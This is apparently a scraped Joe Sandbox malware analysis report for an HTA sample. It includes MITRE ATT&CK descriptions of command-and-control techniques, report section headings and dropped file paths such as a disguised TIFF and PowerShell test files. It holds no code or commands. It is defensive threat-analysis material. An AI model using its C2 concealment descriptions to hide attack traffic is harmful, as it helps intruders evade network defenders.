Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\simplecookiebiscutwithsweetnessforentiretime[1].tiff

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\N78Im7H

C:\Users\user\AppData\Local\Temp\RESC568.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2vequ4ao.oql.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3g40ckqp.ar2.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gjr0kovx.oyi.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hdjvy5wo.vwi.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hikbxegl.ldi.ps1

Windows Analysis Report
goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre